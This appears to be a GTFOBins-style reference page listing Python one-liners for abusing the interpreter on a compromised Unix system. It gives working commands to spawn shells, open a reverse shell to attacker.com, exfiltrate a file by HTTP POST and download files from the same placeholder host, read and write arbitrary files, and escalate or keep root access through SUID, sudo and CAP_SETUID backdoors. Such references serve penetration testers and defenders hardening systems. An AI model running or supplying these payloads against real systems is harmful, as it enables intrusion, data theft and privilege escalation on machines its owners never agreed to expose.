.. / python

Shell | Reverse shell | File upload | File download | File write | File read | Library load | SUID | Sudo | Capabilities

The payloads are compatible with both Python version 2 and 3.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
python -c 'import os; os.system("/bin/sh")'
```

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run `socat file:`tty`,raw,echo=0 tcp-listen:12345` on the attacker box to receive the shell.

```
export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
```

File upload

It can exfiltrate files on the network.

(a) Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

```
export URL=http://attacker.com/
export LFILE=file_to_send
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
```

(b)

Serve files in the local folder running an HTTP server.

```
export LPORT=8888
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'
```

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

```
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
python -c 'open("file_to_write","w+").write("DATA")'
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
python -c 'print(open("file_to_read").read())'
```

Library load

It loads shared libraries that may be used to run code in the binary execution context.

```
python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which python) .

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo python -c 'import os; os.system("/bin/sh")'
```

Capabilities

If the binary has the Linux `CAP_SETUID` capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

```
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
```